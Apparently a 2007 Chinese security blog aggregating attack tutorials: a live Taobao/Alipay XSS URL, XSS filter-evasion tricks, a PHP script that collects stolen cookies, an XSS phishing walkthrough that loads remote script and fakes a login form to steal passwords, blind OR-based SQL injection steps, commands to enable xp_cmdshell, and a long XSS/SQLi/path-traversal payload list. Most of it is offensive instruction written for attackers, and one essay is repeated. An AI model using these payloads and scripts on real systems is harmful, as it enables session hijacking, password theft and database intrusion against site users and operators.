-
2007年10月21日
淘宝taobao跨站 XSS 漏洞 - [安全资讯]
淘宝taobao跨站 XSS 漏洞
官方未修补此漏洞!
之前在淘宝买了东西。 现在淘宝给我发来邮件,说什么抽奖的。结果给我发现了两个bug!
其中一个Bug,可引发 XSS 跨站脚本 和 钓鱼攻击
从邮件 链接到:
http://union.alipay.com/alipay/choujiang1/order.php
居然在这个页面出现一个这样的链接:
https://taobao.alipay.com/trade/ ... from=3000&nick=臭美小将军
不知道是故意还是怎么的。 这只是小问题,好戏还在后头呢!
淘宝XSS漏洞:
点击抽奖页面后,竟然发现 淘宝 用 url 来传递 html内容变量。和之前 某银行的漏洞一样!
程序代码
http://union.alipay.com/alipay/choujiang1/ordernotice.php?info=[xss]
测试代码:
http://union.alipay.com/alipay/choujiang1/ordernotice.php?info=<ScRipt>alert(document.cookie)</ScRipt>
终于发现 测试人员的重要性了! 这个页面估计没怎么测试过就放出来了。 估计如果这个漏洞被利用上,又死不少人了!
XSS脚本的字符转换与混淆
1.脚本插入
(1)插入javascript和vbscript正常字符。
例1:<img src="javascript:alert(/xss/)">
例2:<table background="javascript:alert(/xss/)"></table>'/在表格中插入脚本
例3:<img src="vbscript:msgbox("a")">
(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符
例1:<img src="javascript:alert(/xss/)"> '/将j字符转为十进制字符j 。
例2:<img src="javascript:alert(/xss/)"> '/将j字符转为十六进制字符j 。
(3)插入混淆字符。在系统控制字符中,除了头部的�(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如、等字符都可插入到javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。
例1:<img src="javascript:alert(/a/)"> '/插入到代码头部,其中可写成,效果一样
例2:<img src="java scr ipt:alert(/a/)"> '/插入到代码中任意位置,其中 可写成
2.样式表
(1)利用CSS代码@import、expression触发XSS漏洞。
例1:@import "http://hi.baidu.com/jc123/xss.css"; '导入外部带有XSS代码的CSS样式表。
例2:@import'javascript:alert("xss")'; '调用javascript脚本触发漏洞
例3:body{xss:expression(alert('xss'))} '在内部样式表中加入expression事件
例4:<img style="xss:expression(alert("xss"))">'在内嵌样式表中加入expression事件
(2)在CSS代码中加入javascript和vbscript脚本
例1:body{background-image:url(javascript:alert("xss"))}
例2:body{background-image:url(vbscript:msgbox("xss"))}
(3)转换字符类型,以十六进制字符替换其中或全部的字符:
例1:@\0069mport:url(web/1.css);'//将其中的i转为\0069
例2:body{xss:\0065xpression(alert('xss'))}'//将e转换为\0065
例3:body{background-image:\0075\0072\006c...}'将url全转为16进制
(4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符"\"和结束符"\0"也是被忽略的,可以用来混淆字符。
例1:@\0im\port'\0ja\vasc\ript:alert("xss")';
例2:@\i\0m\00p\000o\0000\00000r\000000t"url";
配合XSS工具SessionIE的php脚本
作者:云舒
我写的这个纯粹是好玩,没啥意思,说到底就是操作xml而已。缘起还是归结于前几天http://www.cncert.net在我们的邮件列表发布了一个新的xss利用工具,类似老外的hamster,在客户端定时刷新保持session不超时。被跨站的人只要访问一次之后,攻击者就可以一直保持登陆的状态。他这个工具用.net做的,为了方便,要求收集cookie的脚本把cookie保存为xml文件。他提供了一个asp程序,我只有php空间,因此写了个php的作测试用。
代码:
PHP代码
<?php
date_default_timezone_set("Asia/Chongqing");
$my_file = "cookie.xml";
if( ! isset( $_GET['x'] ) )
{
exit;
}
$my_cookie = $_GET['x'];
if( $_GET['x'] != "" )
{
if( ! file_exists( $my_file ) )
{
CreateXmlFile( );
}
AddData( $my_cookie );
}
function CreateXmlFile( )
{
global $my_file;
$fp = fopen( $my_file, "wb" );
if( ! $fp )
{
exit;
}
fwrite( $fp, "<?xml version=\"1.0\" encoding=\"gb2312\" ?>\n" );
fwrite( $fp, "<rss version=\"2.0\">\n" );
fwrite( $fp, "<treeroot>\n" );
fwrite( $fp, "</treeroot>\n" );
fwrite( $fp, "</rss>" );
fclose( $fp );
}
function AddData( $my_cookie )
{
global $my_file;
$doc = new DOMDocument( );
$doc->load( $my_file );
$doc->formatOutput = true;
$treeroot = $doc->getElementsBytagName( "treeroot" )->item(0);
$item = $doc->createElement( "item" );
$treeroot->appendChild( $item );
if( isset( $_SERVER["REMOTE_HOST"] ) )
{
$remote_host = $_SERVER["REMOTE_HOST"];
}
elseif( isset( $_SERVER["REMOTE_ADDR"] ) )
{
$remote_host = $_SERVER["REMOTE_ADDR"];
}
else
{
$remote_host = "NotCare";
}
$title = $doc->createElement( "title", $remote_host );
$item->appendChild( $title );
if( isset( $_SERVER["HTTP_REFERER"] ) )
{
$refer = $_SERVER["HTTP_REFERER"];
}
else
{
$refer = "http://yahoo.cn";
}
$link = $doc->createElement( "link", $refer );
$item->appendChild( $link );
$src_ip = $doc->createElement( "src_ip", $_SERVER["REMOTE_ADDR"] );
$item->appendChild( $src_ip );
$src_os = $doc->createElement( "src_os", "NotCare" );
$item->appendChild( $src_os );
$pubDate = $doc->createElement( "pubDate", date( "r" ) );
$item->appendChild( $pubDate );
$description = $doc->createElement( "description", $my_cookie );
$item->appendChild( $description );
$doc->save( $my_file );
}
?>
XSS Phishing - 新式跨站脚本攻击方式
最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞!
跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。我这里介绍一种新式攻击方法:XSS Phishing(跨站脚本钓鱼攻击),利用这种方式可以直接盗取用户的密码,下面我就拿最近PHPWIND论坛所暴出的XSS做一下演示, PHPWIND对上传文件名没有处理严格,导致可以写入跨站脚本。
先做一个简单的测试,发一篇新帖,在附件中随意写入一个本地路径加带“<” 和“>”的文件名,如图一
发帖成功后我们会发现,帖子附件名已经没有了,如图二
我们查看当前页面的源代码会发现<xss>已经写到页面内,如图三
当然要写入脚本,PHPWIND还是做了限制,文件名中出现"(","/"字符将会被过滤,不过可以利用HTML转码的方式绕过这个限制,如转换成
以下是引用片段:
<TABLE BACKGROUND=javascript:alert(/xss/)>
这样我们已经实现了跨站脚本的写入,关键是怎么实现攻击,这一处跨站脚本漏洞进行了HTML转码,我们不方便写入过长的内容,那么就加载一个JS文件,动态创建一个script标记,代码如下:
以下是引用片段:
<TABLE BACKGROUND=javascript:s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>
OK,到了这一步我们就可以在JS中任意构造我们的攻击代码,攻击的思路是当用户访问帖子,利用脚本清空当前页面,然后重新写成钓鱼页面。
首先我们可以实验一下,javacript有一个小特性,延时输出将会清空当前页面所有的内容,代码如下:
以下是引用片段:
function Phish(){
info = "我是来钓鱼的!"
document.write(info);
}
function doit(){
setTimeout("Phish()", 1000 );
}doit()
如图四,帖子页面的代码和内容全变成了“我是来钓鱼的!”
想一想,如果我们把info变量的内容变成HTML代码会怎样,如图五
嘿嘿,邪恶一点!我们完全可以把页面变成一个自己操纵的登录页面,将表单的值指向远程服务器上的程序,如图六
然后远程服务器上的程序将接受表单POST的用户和密码,当然我们可以做巧妙点,让其访问后又转跳回论坛首页,代码如下:
最后我们便完成了钓鱼的过程,管理员访问我们的帖子,马上重写当前页面,设置一个重新登录的陷阱,盗取用户名和密码,全部过程只在没有察觉的一瞬间.
这类攻击方式危害很大,文中的原始代码只是描叙一下思路,有很多破绽,当然如果你够邪恶的话,完全可以自己重写代码,钓鱼于无形之中。
提醒一下,跨站脚本不仅仅是简单的挂马,XSS Phishing(跨站脚本钓鱼攻击)只是一个简单的开始! -
2007年09月13日
假是真时真是假——or注入教程 - [安全资讯]
假是真时真是假——or注入教程
文章作者: 落叶纷飞 & 华夏鸡头4 [S.S.T]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
PS:很久的文章了,07年4月的,最近找到修改了下就发上来,文章有些乱,请大家不要见怪
记得一年前火狐有一位朋友问,如果一个站过滤了and和“'”的话,改怎么注入啊?当时我随口说了句“or注入”,后来又一次看贴的时候,看到他问我该怎么利用呢?我就写了几个简单的语句给他,叫他自己变换,他很感激我,还说网上没有这种方法。我到网上查了查,还真没有or注入专题呢(or 1=1除外),呵呵,所以,一年后的今天,就有了这篇文章。
我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点,我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面,我们再来测试or 1=2。返回的是正常的页面,说明猜测正确的时候是错误,猜测错误的时候是正常,这就是真正的“假是真时真是假”,比lake2大哥哥的IP欺骗更经典哦,呵呵。
我们来构造测试语句:
vpro.asp?id=1 or exists(select * from admin)
返回错误页面,说明存在admin表我们来换一个表试试!
vpro.asp?id=1 or exists(select * from n0h4ck)
说明不存在n0h4ck这个表。
我们继续来,构造语句
vpro.asp?id=1 or exists(select admin from admin)
返回or 1=1的页面,说明admin表存在admin字段。
vpro.asp?id=1 or exists(select padd from admin)
返回or 1=2的页面,说明admin表不存在padd字段。
我们现在开始猜测数据了,
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'
返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是“n”。
我们再来
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'
返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是“a”,我们第一个会想到什么呢?当然是“admin”啦。
我们用left函数确定一下,
vpro.asp?id=1 or (select left(admin,5) from admin)='admin'
猜测正确,的确是admin,好了,后面的话就不用我说了吧!
Sql-injection In Xss[SIX]
文章提交:HeiGe (hack-520_at_163.com)SIX存在的意义:
1、有权限限制的地方总是让人比较放心,比如后台、内网 .... 。而且有的程序官方否认后台漏洞的危险,比如*vbbs对以前那个数据备用得到shell的态度。的确,在权限的限制下,这样的漏洞很难直接被利用。 Xss就和上面的情况一样,也经常被程序员忽视,而且也不太好防,如果2个情况配合起来,那就意味着利用的难度将大大下降...
2、然后有的人会说xss攻击完全可以通过"劫持"cookie,直接继承权限:比如直接登陆后台。确实这是个好方法,但是有的后台现在都是直接和ip邦定。所以我们可以利用xss直接自动完成后台的一系列攻击如Sql-injection。
3、对于公开程序,你可以根据htm/js代码来自动实现你要攻击的后台的功能,但是如果是完全黑盒的呢?SIX的原理:
1、利用流程图
hack----------->前台+++++++>+
^ +
| +
后台<++++++<+
^
|
管理员------------
2、xmlhttp让你的代码悄悄执行:
luoluo哥哥写的《XmlHttp的简单封装》的codz:http://pstgroup.blogspot.com/2007/08/javascript.htmlSIX的利用:
1、得到后台的url的code:
var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp.get("http://localhost:808/index.php", function(s) {
//通过管理员登陆前台的,列遍所有连接来查找后台 比如得到admin/index.php
var re = new RegExp("<a href=\"([^\"]*)", "ig");
var m = null;
while ((m = re.exec(s)) != null) {
alert(m[1]);
SendUrl(m[1]);//实际中你还要写个函数发送这个数据并且保存,注意这里不可以用xmlhttp发送,因为xmlhttp不可以跨域。
}});
}2、列遍后台连接扫描注射点的code:
var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp.get("http://localhost:808/admin/index.php", function(s) {
var re = new RegExp("<a href=\"([^\"]*)", "ig");
var m = null;
while ((m = re.exec(s)) != null) {
var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp.get(m[1]+"'",function(s1){
if (s1 != null) {
alert(s1);
SendUrl(s1);
}
});}
//alert(m[1]);
}});
}
这个只是简单的在连接后面加个'探测。3、得到后的攻击的code:缺
上面的代码写的很粗糙,如果你要做完整还需要做很多事情。 :)SIX内网:
很多内网的web在外网是没有办法访问的,如果我们要SIX内网,首先我们要解决的问题是跨域问题:
1、img iframe script 等可以跨域。
2、xmlhttp不可以跨域,但可以配合某些跨域漏洞。步骤:
(1)、端口扫描
Javascript Based Port Scanner : http://www.securiteam.com/exploits/5DP010KJFE.html
flash port scanner : http://scan.flashsec.org/classes/Main.as
(2)、扫描列遍url并扫描注射点、攻击
这个如果利用html了的img iframe script 等是比较难实现的,但是如果利用上面的xmlhttp的代码又不可以直接跨域,所以必须配合某些跨域漏洞[其中寻找Activex的跨域,是个很好的方向?]
(3)、Overflow in Xss[OIX]:(这个是题外话):如果我们可以跨域,那么我们可以利用xmlhttp直接溢出内网的ftp/http等服务器,当然利用img iframe script 等也可以溢出http/ftp服务器一些url的溢出。要看具体情况了最后:感谢luoluo牛:我是你的fans,我顶你!
SQL2005开启选项的一些方法整理
sql server 2005下开启xp_cmdshell的办法EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
-
2007年09月09日
利用最近热门的Xss漏洞能做什么? - [安全资讯]
或许大家经常看一些高手测试XSS漏洞都是alert一个窗口来。便以为XSS即是如此,当自己alert出窗口来,便说自己发现了漏洞。
其实远没这么简单。你发现的只是程序员的一个小bug而已,远谈不上XSS。它们的关系如同系统漏洞与漏洞利用的关系,不可同日而语。你的系统是否出现过“****内存不能为read”?你是否知道它是溢出漏洞的一种表现呢?但想因此做出exploit远不是那么简单的事情,你能说自己发现了溢出漏洞了么?
XSS高手们的那些XSS,大家都是可以拿出来做些什么的,这样的东西才能算得上漏洞。
那么利用xss漏洞能做什么?Monyer认为应该有几点:
1、针对性挂马
所以这类网站一定是游戏网站,银行网站或者是关于qq、taobao或者影响力相当大的网站等,它们必须有我们平常需要盗取的帐号密码;当然也或许是这个站点的浏览量相当高,我们能将更多的马挂出去。
而如果仅仅是平平常常的一个小站点的XSS漏洞,如果我们要挂马,那么莫不如就直接把木马页面地址贴出去。
2、用户权限下操作
这类网站则必须有会员了,而且这些会员有很多有意义的操作或者有我们需要的内部个人资料,所以我们可以通过XSS对已登录访问者进行有权限操作。我认为cookies的盗取应该算作这一项,因为其目的也是获取用户操作权限(盗密码包括在内),从而获取用户某些信息或者进行权限下的相关操作。
3、Dos攻击或傀儡机
这同样需要一个访问量非常大的站点,利用小站点莫不如我们自己攻击或获取信息。我们可以通过此页的访问用户不间断地攻击其他站点,或者进行局域网扫描等等。这类js工具早已经产生,js端口扫描、jikto、xssshell等等。
4、提权
一般这主要发生在论坛或信息管理系统,总之一定要有管理员了。这需要攻击者对目标系统相当熟悉(一般这样的系统需要开源代码),从而知道怎样构造语句进行提权。
5、实现特殊效果
譬如Monyer在百度空间的插入视频,插入版块;譬如一些人在新浪博客或者校内网实现的特殊效果等等。
结论:
从而你应该了解到这些网站应该具有的性质:
极高的访问量,有会员,有管理员,有具有价值的帐号密码,或者有意义进行特殊效果的实现。
如果你读过《Ajax Hacking with XSS》,你应该知道XSS至少包含input XSS和textarea XSS等七种方式。
其中url XSS属于input XSS,这些漏洞大部分属于保留式的XSS,而textarea XSS等一般属于不保留XSS。
这意味着正常访问一个页面是不会触发保留式的XSS的,尽管这是大部分网站具有的漏洞,其中搜索部分又称搜索式XSS漏洞。
所以当你获取了一个input XSS,你仅仅alert出一个小框框。你跟别人大吹大擂,你发现了一个漏洞,并且你可以alert一个框框给他看,但是事实上你什么都做不了。即使你能挂些小木马,那也是很没意义的事情——因为你莫不如直接在自己的虚拟主机里做XSS页面发给别人。
这个跟sql注入不同,XSS毕竟是客户端的东西。sql注入的目的往往是为了得到目标系统的权限,并且sql语句本身执行的就是服务端的指令;但 XSS一般却是为了获得客户端的东西,执行的也是客户端的指令。所以他们可以“'”一下“出错了”而大喊,你却不能因为“alert”出了“xss窗口” 而乱叫。
否则只会让别人笑话!
(当然如果你认为XSS还可以做什么事情,并且可以在一个没用户没管理的小网站上,那么Monyer愿意虚心请教!)
-
2007年08月26日
XSS跨站脚本及SQL注入漏洞技术分析 - [安全资讯]
XSS跨站脚本及SQL注入漏洞技术分析
百度再现XSS高危漏洞--XSS百度永远抹不掉的伤痕
电信114搜索发现重大漏洞,可直接执行XSS语句
~介绍
在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX
~什么是cookie
cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
~警告&欺骗
那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
strusername=cnsst;strpassword=cnsst
此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...
~什么是XSS
XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.
~为什么使用XSS
很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.
利用xss漏洞能做什么?
或许大家经常看一些高手测试XSS漏洞都是alert一个窗口来。便以为XSS即是如此,当自己alert出窗口来,便说自己发现了漏洞。
其实远没这么简单。你发现的只是程序员的一个小bug而已,远谈不上XSS。它们的关系如同系统漏洞与漏洞利用的关系,不可同日而语。你的系统是否出现过“****内存不能为read”?你是否知道它是溢出漏洞的一种表现呢?但想因此做出exploit远不是那么简单的事情,你能说自己发现了溢出漏洞了么?
XSS高手们的那些XSS,大家都是可以拿出来做些什么的,这样的东西才能算得上漏洞。
那么利用xss漏洞能做什么?Monyer认为应该有几点:
1、针对性挂马
所以这类网站一定是游戏网站,银行网站或者是关于qq、taobao或者影响力相当大的网站等,它们必须有我们平常需要盗取的帐号密码;当然也或许是这个站点的浏览量相当高,我们能将更多的马挂出去。
而如果仅仅是平平常常的一个小站点的XSS漏洞,如果我们要挂马,那么莫不如就直接把木马页面地址贴出去。
2、用户权限下操作
这类网站则必须有会员了,而且这些会员有很多有意义的操作或者有我们需要的内部个人资料,所以我们可以通过XSS对已登录访问者进行有权限操作。我认为cookies的盗取应该算作这一项,因为其目的也是获取用户操作权限(盗密码包括在内),从而获取用户某些信息或者进行权限下的相关操作。
3、Dos攻击或傀儡机
这同样需要一个访问量非常大的站点,利用小站点莫不如我们自己攻击或获取信息。我们可以通过此页的访问用户不间断地攻击其他站点,或者进行局域网扫描等等。这类js工具早已经产生,js端口扫描、jikto、xssshell等等。
4、提权
一般这主要发生在论坛或信息管理系统,总之一定要有管理员了。这需要攻击者对目标系统相当熟悉(一般这样的系统需要开源代码),从而知道怎样构造语句进行提权。
5、实现特殊效果
譬如Monyer在百度空间的插入视频,插入版块;譬如一些人在新浪博客或者校内网实现的特殊效果等等。
结论:
从而你应该了解到这些网站应该具有的性质:
极高的访问量,有会员,有管理员,有具有价值的帐号密码,或者有意义进行特殊效果的实现。
如果你读过《Ajax Hacking with XSS》,你应该知道XSS至少包含input XSS和textarea XSS等七种方式。
其中url XSS属于input XSS,这些漏洞大部分属于保留式的XSS,而textarea XSS等一般属于不保留XSS。
这意味着正常访问一个页面是不会触发保留式的XSS的,尽管这是大部分网站具有的漏洞,其中搜索部分又称搜索式XSS漏洞。
所以当你获取了一个input XSS,你仅仅alert出一个小框框。你跟别人大吹大擂,你发现了一个漏洞,并且你可以alert一个框框给他看,但是事实上你什么都做不了。即使你能挂些小木马,那也是很没意义的事情——因为你莫不如直接在自己的虚拟主机里做XSS页面发给别人。
这个跟sql注入不同,XSS毕竟是客户端的东西。sql注入的目的往往是为了得到目标系统的权限,并且sql语句本身执行的就是服务端的指令;但 XSS一般却是为了获得客户端的东西,执行的也是客户端的指令。所以他们可以“'”一下“出错了”而大喊,你却不能因为“alert”出了“xss窗口” 而乱叫。
否则只会让别人笑话!
(当然如果你认为XSS还可以做什么事情,并且可以在一个没用户没管理的小网站上,那么Monyer愿意虚心请教!)
Monyer!
from:Monyer's blog
分析跨站点脚本XSS漏洞存在的危害性
安全专家,开发人员或者商业从业人员都明白像SQL注入这样高风险的漏洞的危害。例如,需要注入到存在SQL注入漏洞的应用程序中的xp_cmdshell,它就可以被用来示范攻击者如何用SQL注入的方法,从运行微软SQL Server的主机上获得command prompt。此类范例的影响是看得见的,并且这些漏洞的危害也很明显。
而跨站点脚本(XSS)就会麻烦的多,安全分析师很难给出看得见的范例来清楚说明该漏洞可能造成的后果。通常安全分析师通过注入像alert('xss')的JAVAScript代码来说明XSS的危害,该代码能够导致应用程序显示带有“xss”字样的弹出窗口。从技术角度来说,这种范例确实证明XSS漏洞的存在性,但是它没有真实地反映XSS漏洞的危害性。为了找到自动给出XSS范例的工具或方法,我访问了BeEF。它的站点声称:BeEF是浏览器发掘平台。它的目的就是提供简单的可集成的结构来实时示范浏览器以及XSS的危害。 这种模块结构主要是用BeEF中现存的智能使模块开发成为一个很简单的过程。一些基本的功能有Keylogging以及Clipboard Theft。
BeEF是个基于PHP的网络应用,它捕捉那些有XSS应用漏洞的用户浏览器的请求。在你的机器上运行BeEF,然后用它发现受XSS影响,而通过XSS请求你的主机(有BeEF)上的资源的应用程序。一旦受害者的浏览器请求BeEF资源,BeEF将发出警告并允许你注入JavaScript代码,执行JavaScript端口扫描(例如受害浏览器将发起扫描:在受害浏览器可能访问的内网环境中进行的端口扫描酒有可能被攻击者利用)等等。这个Flash指南很好地示范了BeEF。
同时,我的一个好朋友也在从事跟BeEF类似的工程。如果他决定对外公开一个可用的版本,我将在此发布。
原文作者:Nitesh Dhanjani
XSS攻击测试语句大全
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert("XSS")>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
"<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT SRC="/news/UploadFiles_9994/200608/20060807015405416.jpg"></SCRIPT>
<IMG SRC="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
-
2007年05月12日
百度再现XSS高危漏洞--XSS百度永远抹不掉的伤痕 - [安全资讯]
百度再现XSS高危漏洞--XSS百度永远抹不掉的伤痕
文章作者:lszm
技术团队:鬼混客信息安全小组(www.ghkcn.cn) & 西盟网安小组(http://bbs.zmke.com)
以前写过二三次关于百度XSS的文章,特别上次的baidu知道title标签的跨站,好似引起了好些人的关注,那篇文章我写得比较详细,对百度的各个脚落做了检测,本以为这些就完了,今天再去百度,竟在百度知道里再次发现XSS,而这个XSS竟似乎利用价值远远高过前几次发现的..
为什么说这次的利用价值高呢?就一点:这次的XSS不用构造任何URL..
具体这个漏洞是如何造成的呢,且看下文,听我详谈!
进入百度知道,这次我们回答问题!随便找一个问题吧,回答,当然你要先注册一个用户,直接在回答问题框输入我们的跨站检测代码""当然最好再给前面也打几个意思意思的字,要不就会被百度当成AD直接T掉了,下面还有个网址引用的地方,直接也加上我们的测试代码吧!如图:
提交后,查看我们回答的问题,再查看源文件,发现如下:
Copy code
><font color=#777777>关闭</font></a></td></tr></table>
<textarea name="co" cols="60" rows="10" style="margin-top:10px;">到处加群,加上N个,然后在群里面发广告,嘿,不过估计发不了几个就被T了!
<></textarea>
<br>回答字数10000字以内<br><br></td>
